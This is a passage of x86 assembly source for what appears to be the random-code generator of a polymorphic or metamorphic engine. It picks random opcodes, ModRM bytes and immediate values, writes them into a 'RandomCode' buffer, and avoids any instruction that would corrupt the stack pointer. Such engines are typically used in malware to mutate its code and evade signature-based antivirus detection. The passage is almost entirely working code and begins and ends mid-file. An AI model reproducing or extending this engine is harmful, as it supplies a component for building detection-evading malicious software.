; 0x87 ... xchg Reg32, Reg32: 0x87 (0xC0-0xFF) OPReg32Reg32
; 0x88 ... mov Mem8, Reg8: 0x88 (0x00-0xBF) OPMem8Reg8
; 0x88 ... mov Reg8, Reg8: 0x88 (0xC0-0xFF) OPReg8Reg8
; 0x89 ... mov Mem32, Reg32: 0x89 (0x00-0xBF) OPMem32Reg32
; 0x89 ... mov Reg32, Reg32: 0x89 (0xC0-0xFF) OPReg32Reg32
; 0x8A ... mov Reg8, Mem8: 0x8A (0x00-0xBF) OPMem8Reg8
; 0x8A ... mov Reg8, Reg8: 0x8A (0xC0-0xFF) OPReg8Reg8
; 0x8B ... mov Mem32, Reg32: 0x8B (0x00-0xBF) OPMem32Reg32
; 0x8B ... mov Reg32, Reg32: 0x8B (0xC0-0xFF) OPReg32Reg32
; NOT USED: 0x8C-0x8F: mov (Segment registers), lea [maybe in next versions]
; 0x90 - 0x99 ... XCHG eax, Reg32 | CWDE | CDQ SingleByteCommand
; NOT USED: 0x9A-0x9F: call, wait, pushfd, popfd, sahf, lahf
; ...
; 0xF8 ... clc 0xF8 SingleByteCommand
; 0xF9 ... stc 0xF9 SingleByteCommand
; Rest of 0xA0 - 0xFF ... [maybe in next versions] - however, the instruction set above should
; do its job quite good for the moment
; ----
cc rP, xor, ebp, ebp ; counter
cc rCP, xor, ecx, ecx
cc rP, mov, byte[CGPushPop], cl
CreateMoreRandomCode:
cc rBP, mov, ebx, 17
cc rBCP, xor, ecx, ecx
cc rNoEmul, call, CreateSpecialRndNumber
cc rAP, mov, al, dl ; AL=Main random number
SingleByteCommand:
cc rAPF, cmp, al, 0
cc rNoEmul, jne, SingleByteCommandEnd
cc rBP, mov, ebx, 19
cc rBCP, xor, ecx, ecx
cc rNoEmul, call, CreateSpecialRndNumber
cc rDPF, cmp, dl, 9
cc rNoEmul, ja, SingleByteCommandSpecial
cc rDPF, cmp, dl, 4
cc rNoEmul, jne, SingleByteCommandFinAdd
cc rDP, xor, dl, dl ; 0x94=xchg eax, esp
SingleByteCommandFinAdd:
cc rDP, add, dl, 0x90 ; dl=0x90 ... 0x99
cc rNoEmul, jmp, SingleByteCommand2Mem
SingleByteCommandSpecial:
cc rDP, mov, dh, 0x27 ; DAA
cc rDPF, cmp, dl, 10
cc rNoEmul, je, SingleByteCommand2MemBef
cc rDP, mov, dh, 0x2F ; DAS
cc rDPF, cmp, dl, 11
cc rNoEmul, je, SingleByteCommand2MemBef
cc rDP, mov, dh, 0x37 ; AAA
cc rDPF, cmp, dl, 12
cc rNoEmul, je, SingleByteCommand2MemBef
cc rDP, mov, dh, 0x3F ; AAS
cc rDPF, cmp, dl, 13
cc rNoEmul, je, SingleByteCommand2MemBef
cc rDP, mov, dh, 0xF8 ; CLC
cc rDPF, cmp, dl, 14
cc rNoEmul, je, SingleByteCommand2MemBef
cc rDP, mov, dh, 0xF9 ; STC
cc rDPF, cmp, dl, 15
cc rNoEmul, je, SingleByteCommand2MemBef
cc rDP, mov, dh, 0x90 ; NOP
SingleByteCommand2MemBef:
cc rDP, mov, dl, dh
SingleByteCommand2Mem:
cc rP, mov, byte[RandomCode+ebp], dl
cc rP, add, ebp, 0x1
cc rNoEmul, jmp, EndCRCCycle
SingleByteCommandEnd:
OPReg8Reg8:
cc rAPF, cmp, al, 1
cc rNoEmul, jne, OPReg8Reg8End
cc rPF, cmp, ebp, (RandomCodeBufferSize-2)
cc rNoEmul, jg, EndCRCCycle
cc rBP, mov, ebx, 21
cc rBCP, xor, ecx, ecx
cc rNoEmul, call, CreateSpecialRndNumber
cc rDP, mov, byte[RandomCode+ebp], 0x00 ; add Reg8, Reg8
cc rDPF, cmp, dl, 0
cc rNoEmul, je, OPReg8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x02 ; add Reg8, Reg8
cc rDPF, cmp, dl, 1
cc rNoEmul, je, OPReg8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x08 ; or Reg8, Reg8
cc rDPF, cmp, dl, 2
cc rNoEmul, je, OPReg8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x0A ; or Reg8, Reg8
cc rDPF, cmp, dl, 3
cc rNoEmul, je, OPReg8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x10 ; adc Reg8, Reg8
cc rDPF, cmp, dl, 4
cc rNoEmul, je, OPReg8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x12 ; adc Reg8, Reg8
cc rDPF, cmp, dl, 5
cc rNoEmul, je, OPReg8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x18 ; sbb Reg8, Reg8
cc rDPF, cmp, dl, 6
cc rNoEmul, je, OPReg8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x1A ; sbb Reg8, Reg8
cc rDPF, cmp, dl, 7
cc rNoEmul, je, OPReg8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x20 ; and Reg8, Reg8
cc rDPF, cmp, dl, 8
cc rNoEmul, je, OPReg8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x22 ; and Reg8, Reg8
cc rDPF, cmp, dl, 9
cc rNoEmul, je, OPReg8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x28 ; sub Reg8, Reg8
cc rDPF, cmp, dl, 10
cc rNoEmul, je, OPReg8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x2A ; sub Reg8, Reg8
cc rDPF, cmp, dl, 11
cc rNoEmul, je, OPReg8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x30 ; xor Reg8, Reg8
cc rDPF, cmp, dl, 12
cc rNoEmul, je, OPReg8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x32 ; xor Reg8, Reg8
cc rDPF, cmp, dl, 13
cc rNoEmul, je, OPReg8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x38 ; cmp Reg8, Reg8
cc rDPF, cmp, dl, 14
cc rNoEmul, je, OPReg8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x3A ; cmp Reg8, Reg8
cc rDPF, cmp, dl, 15
cc rNoEmul, je, OPReg8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x86 ; xchg Reg8, Reg8
cc rDPF, cmp, dl, 16
cc rNoEmul, je, OPReg8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x88 ; mov Reg8, Reg8
cc rDPF, cmp, dl, 17
cc rNoEmul, je, OPReg8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x8A ; mov Reg8, Reg8
cc rDPF, cmp, dl, 18
cc rNoEmul, je, OPReg8Reg8Cont
cc rNoEmul, jmp, OPReg8Reg8End
OPReg8Reg8Cont:
cc rBP, mov, ebx, (0xFF-0xC0)
cc rBCP, mov, ecx, 0xC0
cc rNoEmul, call, CreateSpecialRndNumber
cc rDP, mov, byte[RandomCode+ebp+1], dl
cc rP, add, ebp, 0x2
cc rNoEmul, jmp, EndCRCCycle
OPReg8Reg8End:
OPReg32Reg32:
cc rAPF, cmp, al, 2
cc rNoEmul, jne, OPReg32Reg32End
cc rPF, cmp, ebp, (RandomCodeBufferSize-2)
cc rNoEmul, jg, EndCRCCycle
cc rBP, mov, ebx, 21
cc rBCP, xor, ecx, ecx
cc rNoEmul, call, CreateSpecialRndNumber
cc rDP, mov, byte[RandomCode+ebp], 0x01 ; add Reg32, Reg32
cc rDPF, cmp, dl, 0
cc rNoEmul, je, OPReg32Reg32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x03 ; add Reg32, Reg32
cc rDPF, cmp, dl, 1
cc rNoEmul, je, OPReg32Reg32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x09 ; or Reg32, Reg32
cc rDPF, cmp, dl, 2
cc rNoEmul, je, OPReg32Reg32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x0B ; or Reg32, Reg32
cc rDPF, cmp, dl, 3
cc rNoEmul, je, OPReg32Reg32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x11 ; adc Reg32, Reg32
cc rDPF, cmp, dl, 4
cc rNoEmul, je, OPReg32Reg32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x13 ; adc Reg32, Reg32
cc rDPF, cmp, dl, 5
cc rNoEmul, je, OPReg32Reg32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x19 ; sbb Reg32, Reg32
cc rDPF, cmp, dl, 6
cc rNoEmul, je, OPReg32Reg32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x1B ; sbb Reg32, Reg32
cc rDPF, cmp, dl, 7
cc rNoEmul, je, OPReg32Reg32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x21 ; and Reg32, Reg32
cc rDPF, cmp, dl, 8
cc rNoEmul, je, OPReg32Reg32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x23 ; and Reg32, Reg32
cc rDPF, cmp, dl, 9
cc rNoEmul, je, OPReg32Reg32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x29 ; sub Reg32, Reg32
cc rDPF, cmp, dl, 10
cc rNoEmul, je, OPReg32Reg32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x2B ; sub Reg32, Reg32
cc rDPF, cmp, dl, 11
cc rNoEmul, je, OPReg32Reg32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x31 ; xor Reg32, Reg32
cc rDPF, cmp, dl, 12
cc rNoEmul, je, OPReg32Reg32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x33 ; xor Reg32, Reg32
cc rDPF, cmp, dl, 13
cc rNoEmul, je, OPReg32Reg32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x39 ; cmp Reg32, Reg32
cc rDPF, cmp, dl, 14
cc rNoEmul, je, OPReg32Reg32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x3B ; cmp Reg32, Reg32
cc rDPF, cmp, dl, 15
cc rNoEmul, je, OPReg32Reg32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x89 ; mov Reg32, Reg32
cc rDPF, cmp, dl, 16
cc rNoEmul, je, OPReg32Reg32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x8B ; mov Reg32, Reg32
cc rDPF, cmp, dl, 17
cc rNoEmul, je, OPReg32Reg32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x87 ; xchg Reg32, Reg32
cc rDPF, cmp, dl, 18
cc rNoEmul, je, OPReg32Reg32Cont
cc rNoEmul, jmp, OPReg32Reg32End
OPReg32Reg32Cont:
cc rDP, push, edx ; Save dl
cc rBP, mov, ebx, (0xFF-0xC0)
cc rBCP, mov, ecx, 0xC0
cc rNoEmul, call, CreateSpecialRndNumber
cc rP, mov, byte[RandomCode+ebp+1], dl
cc rADP, pop, eax
cc rDPF, and, al, 0001b
cc rNoEmul, jz, OPReg32Reg32CheckESP0
cc rDP, mov, byte[RandomCode+ebp+1], dl
cc rDP, and, dl, 111000b
cc rDPF, cmp, dl, 100000b
cc rNoEmul, je, EndCRCCycle ; OP esp, ... but source and destination reversed
cc rP, add, ebp, 0x2
cc rNoEmul, jmp, EndCRCCycle
OPReg32Reg32CheckESP0:
cc rDP, mov, dh, byte[RandomCode+ebp]
cc rDPF, cmp, dh, 0x87
cc rNoEmul, jne, OPReg32Reg32CheckESP1
cc rDPF, cmp, dl, 0xE0
cc rNoEmul, jb, OPReg32Reg32CheckESP1
cc rDPF, cmp, dl, 0xE8
cc rNoEmul, jb, EndCRCCycle
OPReg32Reg32CheckESP1:
cc rDP, and, dl, 111b
cc rDPF, cmp, dl, 100b
cc rNoEmul, je, EndCRCCycle ; OP esp, ...
cc rP, add, ebp, 0x2
cc rNoEmul, jmp, EndCRCCycle
OPReg32Reg32End:
OPAlImm8:
cc rAPF, cmp, al, 3
cc rNoEmul, jne, OPAlImm8End
cc rPF, cmp, ebp, (RandomCodeBufferSize-2)
cc rNoEmul, jg, EndCRCCycle
cc rBP, mov, ebx, 9
cc rBCP, xor, ecx, ecx
cc rNoEmul, call, CreateSpecialRndNumber
cc rDP, mov, byte[RandomCode+ebp], 0x04 ; add al, Imm8
cc rDPF, cmp, dl, 0
cc rNoEmul, je, OPAlImm8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x0C ; or al, Imm8
cc rDPF, cmp, dl, 1
cc rNoEmul, je, OPAlImm8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x14 ; adc al, Imm8
cc rDPF, cmp, dl, 2
cc rNoEmul, je, OPAlImm8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x1C ; sbb al, Imm8
cc rDPF, cmp, dl, 3
cc rNoEmul, je, OPAlImm8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x24 ; and al, Imm8
cc rDPF, cmp, dl, 4
cc rNoEmul, je, OPAlImm8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x2C ; sub al, Imm8
cc rDPF, cmp, dl, 5
cc rNoEmul, je, OPAlImm8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x34 ; xor al, Imm8
cc rDPF, cmp, dl, 6
cc rNoEmul, je, OPAlImm8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x3C ; cmp al, Imm8
cc rDPF, cmp, dl, 7
cc rNoEmul, je, OPAlImm8Cont
cc rNoEmul, jmp, OPAlImm8End
OPAlImm8Cont:
cc rNoEmul, call, GetRandomNumber
cc rP, mov, byte[RandomCode+ebp+1], dl
cc rP, add, ebp, 0x2
cc rNoEmul, jmp, EndCRCCycle
OPAlImm8End:
OPEaxImm32:
cc rAPF, cmp, al, 4
cc rNoEmul, jne, OPEaxImm32End
cc rPF, cmp, ebp, (RandomCodeBufferSize-5)
cc rNoEmul, jg, EndCRCCycle
cc rBP, mov, ebx, 9
cc rBCP, xor, ecx, ecx
cc rNoEmul, call, CreateSpecialRndNumber
cc rDP, mov, byte[RandomCode+ebp], 0x05 ; add eax, Imm32
cc rDPF, cmp, dl, 0
cc rNoEmul, je, OPEaxImm32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x0D ; or eax, Imm32
cc rDPF, cmp, dl, 1
cc rNoEmul, je, OPEaxImm32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x15 ; adc eax, Imm32
cc rDPF, cmp, dl, 2
cc rNoEmul, je, OPEaxImm32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x1D ; sbb eax, Imm32
cc rDPF, cmp, dl, 3
cc rNoEmul, je, OPEaxImm32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x25 ; and eax, Imm32
cc rDPF, cmp, dl, 4
cc rNoEmul, je, OPEaxImm32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x2D ; sub eax, Imm32
cc rDPF, cmp, dl, 5
cc rNoEmul, je, OPEaxImm32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x35 ; xor eax, Imm32
cc rDPF, cmp, dl, 6
cc rNoEmul, je, OPEaxImm32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x3D ; cmp eax, Imm32
cc rDPF, cmp, dl, 7
cc rNoEmul, je, OPEaxImm32Cont
cc rNoEmul, jmp, OPEaxImm32End
OPEaxImm32Cont:
cc rNoEmul, call, GetRandomNumber
cc rDP, mov, edx, dword[RandomNumber]
cc rP, mov, dword[RandomCode+ebp+1], edx
cc rP, add, ebp, 0x5
cc rNoEmul, jmp, EndCRCCycle
OPEaxImm32End:
VariousReg8Imm8: ; add | or | adc | sbb | and | sub | xor | cmp Reg8, Imm8
cc rAPF, cmp, al, 5
cc rNoEmul, jne, VariousReg8Imm8End
cc rPF, cmp, ebp, (RandomCodeBufferSize-3)
cc rNoEmul, jg, EndCRCCycle
cc rBP, mov, ebx, 3
cc rBCP, xor, ecx, ecx
cc rNoEmul, call, CreateSpecialRndNumber
cc rDP, mov, byte[RandomCode+ebp], 0x80
cc rDPF, cmp, dl, 0
cc rNoEmul, je, VariousReg8Imm8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x82
cc rDPF, cmp, dl, 1
cc rNoEmul, je, VariousReg8Imm8Cont
cc rNoEmul, jmp, EndCRCCycle
VariousReg8Imm8Cont:
cc rBP, mov, ebx, (0xFF-0xC0)
cc rBCP, mov, ecx, 0xC0
cc rNoEmul, call, CreateSpecialRndNumber
cc rP, mov, byte[RandomCode+ebp+1], dl
cc rNoEmul, call, GetRandomNumber
cc rDP, mov, dl, byte[RandomNumber]
cc rP, mov, byte[RandomCode+ebp+2], dl
cc rP, add, ebp, 0x3
cc rNoEmul, jmp, EndCRCCycle
VariousReg8Imm8End:
VariousReg32Imm32: ; add | or | adc | sbb | and | sub | xor | cmp Reg32, Imm32
cc rAPF, cmp, al, 6
cc rNoEmul, jne, VariousReg32ImmEnd
cc rBP, mov, ebx, 3
cc rBCP, xor, ecx, ecx
cc rNoEmul, call, CreateSpecialRndNumber
cc rDPS, mov, esi, 6
cc rDPS, mov, byte[RandomCode+ebp], 0x81
cc rDPSF, cmp, dl, 0
cc rNoEmul, je, VariousReg32Imm32Cont
cc rDPS, mov, esi, 3
cc rDPS, mov, byte[RandomCode+ebp], 0x83
cc rDPSF, cmp, dl, 1
cc rNoEmul, je, VariousReg32Imm32Cont
cc rNoEmul, jmp, VariousReg32ImmEnd
VariousReg32Imm32Cont:
cc rBPS, mov, ebx, (0xFF-0xC0)
cc rBCPS, mov, ecx, 0xC0
cc rNoEmul, call, CreateSpecialRndNumber
cc rDPS, mov, byte[RandomCode+ebp+1], dl
cc rDPS, mov, byte[RandomCode+ebp+1], dl
cc rDPS, and, dl, 111b
cc rDPSF, cmp, dl, 100b
cc rNoEmul, je, EndCRCCycle ; OP esp, ...
cc rNoEmul, call, GetRandomNumber
cc rDPS, mov, edx, dword[RandomNumber]
cc rPS, mov, dword[RandomCode+ebp+2], edx
cc rCPS, mov, ecx, RandomCodeBufferSize
cc rCPS, sub, ecx, esi
cc rDPSF, cmp, ebp, ecx
cc rNoEmul, jg, EndCRCCycle
cc rP, add, ebp, esi
cc rNoEmul, jmp, EndCRCCycle
VariousReg32ImmEnd:
OPMem8Reg8: ; OP Mem8, Reg8 | OP Reg8, Mem8
cc rAPF, cmp, al, 7
cc rNoEmul, jne, OPMem8Reg8End
cc rBP, mov, ebx, 19
cc rBCP, xor, ecx, ecx
cc rNoEmul, call, CreateSpecialRndNumber
cc rDP, mov, byte[RandomCode+ebp], 0x00 ; add Mem8, Reg8
cc rDPF, cmp, dl, 0
cc rNoEmul, je, OPMem8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x02 ; add Reg8, Mem8
cc rBCPF, cmp, dl, 1
cc rNoEmul, je, OPMem8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x08 ; or Mem8, Reg8
cc rBCPF, cmp, dl, 2
cc rNoEmul, je, OPMem8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x0A ; or Reg8, Mem8
cc rBCPF, cmp, dl, 3
cc rNoEmul, je, OPMem8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x10 ; adc Mem8, Reg8
cc rBCPF, cmp, dl, 4
cc rNoEmul, je, OPMem8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x12 ; adc Reg8, Mem8
cc rBCPF, cmp, dl, 5
cc rNoEmul, je, OPMem8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x18 ; sbb Mem8, Reg8
cc rBCPF, cmp, dl, 6
cc rNoEmul, je, OPMem8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x1A ; sbb Reg8, Mem8
cc rBCPF, cmp, dl, 7
cc rNoEmul, je, OPMem8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x20 ; and Mem8, Reg8
cc rBCPF, cmp, dl, 8
cc rNoEmul, je, OPMem8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x22 ; and Reg8, Mem8
cc rBCPF, cmp, dl, 9
cc rNoEmul, je, OPMem8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x28 ; sub Mem8, Reg8
cc rBCPF, cmp, dl, 10
cc rNoEmul, je, OPMem8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x2A ; sub Reg8, Mem8
cc rBCPF, cmp, dl, 11
cc rNoEmul, je, OPMem8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x30 ; xor Mem8, Reg8
cc rBCPF, cmp, dl, 12
cc rNoEmul, je, OPMem8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x32 ; xor Reg8, Mem8
cc rBCPF, cmp, dl, 13
cc rNoEmul, je, OPMem8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x38 ; cmp, Mem8, Reg8
cc rBCPF, cmp, dl, 14
cc rNoEmul, je, OPMem8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x3A ; cmp, Reg8, Mem8
cc rBCPF, cmp, dl, 15
cc rNoEmul, je, OPMem8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x86 ; xchg Mem8, Reg8
cc rBCPF, cmp, dl, 16
cc rNoEmul, je, OPMem8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x88 ; mov Mem8, Reg8
cc rBCPF, cmp, dl, 17
cc rNoEmul, je, OPMem8Reg8Cont
cc rDP, mov, byte[RandomCode+ebp], 0x8A ; mov Reg8, Mem8
cc rBCPF, cmp, dl, 18
cc rNoEmul, je, OPMem8Reg8Cont
cc rNoEmul, jmp, EndCRCCycle
OPMem8Reg8Cont:
cc rBP, mov, ebx, 0xBF
cc rBCP, mov, ecx, 0x0
cc rNoEmul, call, CreateSpecialRndNumber
cc rP, mov, byte[RandomCode+ebp+1], dl
cc rNoEmul, call, GetRandomNumber
cc rDP, and, dl, 11000111b
cc rDPF, cmp, dl, 00000100b
cc rNoEmul, je, OPMem8Reg8_3byte
cc rDPF, cmp, dl, 00000101b
cc rNoEmul, je, OPMem8Reg8_6byte
cc rDPF, cmp, dl, 0x40
cc rNoEmul, jb, OPMem8Reg8_2byte
cc rDPF, cmp, dl, 01000100b
cc rNoEmul, je, OPMem8Reg8_4byte
cc rDPF, cmp, dl, 0x80
cc rNoEmul, jb, OPMem8Reg8_3byte
cc rDPF, cmp, dl, 10000100b
cc rNoEmul, je, OPMem8Reg8_7byte
cc rNoEmul, jmp, OPMem8Reg8_6byte
OPMem8Reg8_3byte:
cc rPF, cmp, ebp, (RandomCodeBufferSize-3)
cc rNoEmul, jg, EndCRCCycle
cc rDP, mov, edx, dword[RandomNumber]
cc rP, mov, byte[RandomCode+ebp+2], dl
cc rP, add, ebp, 0x1
cc rNoEmul, jmp, EndOPMem8Reg8
OPMem8Reg8_4byte:
cc rPF, cmp, ebp, (RandomCodeBufferSize-4)
cc rNoEmul, jg, EndCRCCycle
cc rDP, mov, edx, dword[RandomNumber]
cc rP, mov, word[RandomCode+ebp+2], dx
cc rP, add, ebp, 0x2
cc rNoEmul, jmp, EndOPMem8Reg8
OPMem8Reg8_6byte:
cc rPF, cmp, ebp, (RandomCodeBufferSize-6)
cc rNoEmul, jg, EndCRCCycle
cc rDP, mov, edx, dword[RandomNumber]
cc rP, mov, dword[RandomCode+ebp+2], edx
cc rP, add, ebp, 0x4
cc rNoEmul, jmp, EndOPMem8Reg8
OPMem8Reg8_7byte:
cc rPF, cmp, ebp, (RandomCodeBufferSize-7)
cc rNoEmul, jg, EndCRCCycle
cc rDP, mov, edx, dword[RandomNumber]
cc rP, mov, dword[RandomCode+ebp+2], edx
cc rNoEmul, call, GetRandomNumber
cc rDP, mov, dl, byte[RandomNumber]
cc rP, mov, byte[RandomCode+ebp+6], dl
cc rP, add, ebp, 0x5
cc rNoEmul, jmp, EndOPMem8Reg8
OPMem8Reg8_2byte:
EndOPMem8Reg8:
cc rP, add, ebp, 0x2
cc rNoEmul, jmp, EndCRCCycle
OPMem8Reg8End:
OPMem32Reg32: ; OP Mem32, Reg32 | OP Reg32, Mem32
cc rAPF, cmp, al, 8
cc rNoEmul, jne, OPMem32Reg32End
cc rBP, mov, ebx, 19
cc rBCP, xor, ecx, ecx
cc rNoEmul, call, CreateSpecialRndNumber
cc rDP, mov, byte[RandomCode+ebp], 0x01 ; add Mem32, Reg32
cc rDPF, cmp, dl, 0
cc rNoEmul, je, OPMem32Reg32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x03 ; add Reg32, Mem32
cc rDPF, cmp, dl, 1
cc rNoEmul, je, OPMem32Reg32ESPCheck
cc rDP, mov, byte[RandomCode+ebp], 0x09 ; or Mem32, Reg32
cc rDPF, cmp, dl, 2
cc rNoEmul, je, OPMem32Reg32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x0B ; or Reg32, Mem32
cc rDPF, cmp, dl, 3
cc rNoEmul, je, OPMem32Reg32ESPCheck
cc rDP, mov, byte[RandomCode+ebp], 0x11 ; adc Mem32, Reg32
cc rDPF, cmp, dl, 4
cc rNoEmul, je, OPMem32Reg32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x13 ; adc Reg32, Mem32
cc rDPF, cmp, dl, 5
cc rNoEmul, je, OPMem32Reg32ESPCheck
cc rDP, mov, byte[RandomCode+ebp], 0x19 ; sbb Mem32, Reg32
cc rDPF, cmp, dl, 6
cc rNoEmul, je, OPMem32Reg32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x1B ; sbb Reg32, Mem32
cc rDPF, cmp, dl, 7
cc rNoEmul, je, OPMem32Reg32ESPCheck
cc rDP, mov, byte[RandomCode+ebp], 0x21 ; and Mem32, Reg32
cc rDPF, cmp, dl, 8
cc rNoEmul, je, OPMem32Reg32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x23 ; and Reg32, Mem32
cc rDPF, cmp, dl, 9
cc rNoEmul, je, OPMem32Reg32ESPCheck
cc rDP, mov, byte[RandomCode+ebp], 0x29 ; sub Mem32, Reg32
cc rDPF, cmp, dl, 10
cc rNoEmul, je, OPMem32Reg32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x2B ; sub Reg32, Mem32
cc rDPF, cmp, dl, 11
cc rNoEmul, je, OPMem32Reg32ESPCheck
cc rDP, mov, byte[RandomCode+ebp], 0x31 ; xor Mem32, Reg32
cc rDPF, cmp, dl, 12
cc rNoEmul, je, OPMem32Reg32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x33 ; xor Reg32, Mem32
cc rDPF, cmp, dl, 13
cc rNoEmul, je, OPMem32Reg32ESPCheck
cc rDP, mov, byte[RandomCode+ebp], 0x39 ; cmp, Mem32, Reg32
cc rDPF, cmp, dl, 14
cc rNoEmul, je, OPMem32Reg32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x3A ; cmp, Reg32, Mem32
cc rDPF, cmp, dl, 15
cc rNoEmul, je, OPMem32Reg32ESPCheck
cc rDP, mov, byte[RandomCode+ebp], 0x87 ; xchg Mem32, Reg32
cc rDPF, cmp, dl, 16
cc rNoEmul, je, OPMem32Reg32ESPCheck
cc rDP, mov, byte[RandomCode+ebp], 0x89 ; mov, Mem32, Reg32
cc rDPF, cmp, dl, 17
cc rNoEmul, je, OPMem32Reg32Cont
cc rDP, mov, byte[RandomCode+ebp], 0x8B ; mov Reg32, Mem32
cc rDPF, cmp, dl, 18
cc rNoEmul, je, OPMem32Reg32ESPCheck
cc rNoEmul, jmp, EndCRCCycle
OPMem32Reg32ESPCheck:
cc rBDP, mov, ebx, 0xBF
cc rBCDP, mov, ecx, 0x0
cc rNoEmul, call, CreateSpecialRndNumber
cc rDP, mov, byte[RandomCode+ebp+1], dl
cc rDP, mov, dh, dl
cc rDP, and, dh, 111000b
cc rDPF, cmp, dh, 100000b
cc rNoEmul, je, EndCRCCycle ; OP esp, ... but source and destination reversed
cc rNoEmul, jmp, OPMem32Reg32ESPCheckOK
OPMem32Reg32Cont:
cc rBDP, mov, ebx, 0xBF
cc rBCDP, mov, ecx, 0x0
cc rNoEmul, call, CreateSpecialRndNumber
cc rDP, mov, byte[RandomCode+ebp+1], dl
OPMem32Reg32ESPCheckOK:
cc rNoEmul, call, GetRandomNumber
cc rDP, and, dl, 11000111b
cc rDPF, cmp, dl, 00000100b
cc rNoEmul, je, OPMem32Reg32_3byte
cc rDPF, cmp, dl, 00000101b
cc rNoEmul, je, OPMem32Reg32_6byte
cc rDPF, cmp, dl, 0x40
cc rNoEmul, jb, OPMem32Reg32_2byte
cc rDPF, cmp, dl, 01000100b
cc rNoEmul, je, OPMem32Reg32_4byte
cc rDPF, cmp, dl, 0x80
cc rNoEmul, jb, OPMem32Reg32_3byte
cc rDPF, cmp, dl, 10000100b
cc rNoEmul, je, OPMem32Reg32_7byte
cc rNoEmul, jmp, OPMem32Reg32_6byte
OPMem32Reg32_3byte:
cc rDPF, cmp, ebp, (RandomCodeBufferSize-3)
cc rNoEmul, jg, EndCRCCycle
cc rDP, mov, edx, dword[RandomNumber]
cc rP, mov, byte[RandomCode+ebp+2], dl
cc rP, add, ebp, 0x1
cc rNoEmul, jmp, EndOPMem32Reg32
OPMem32Reg32_4byte:
cc rDPF, cmp, ebp, (RandomCodeBufferSize-4)
cc rNoEmul, jg, EndCRCCycle
cc rDP, mov, edx, dword[RandomNumber]
cc rP, mov, word[RandomCode+ebp+2], dx
cc rP, add, ebp, 0x2
cc rNoEmul, jmp, EndOPMem32Reg32
OPMem32Reg32_6byte:
cc rDPF, cmp, ebp, (RandomCodeBufferSize-6)
cc rNoEmul, jg, EndCRCCycle
cc rDP, mov, edx, dword[RandomNumber]
cc rP, mov, dword[RandomCode+ebp+2], edx
cc rP, add, ebp, 0x4
cc rNoEmul, jmp, EndOPMem32Reg32
OPMem32Reg32_7byte:
cc rDPF, cmp, ebp, (RandomCodeBufferSize-7)
cc rNoEmul, jg, EndCRCCycle
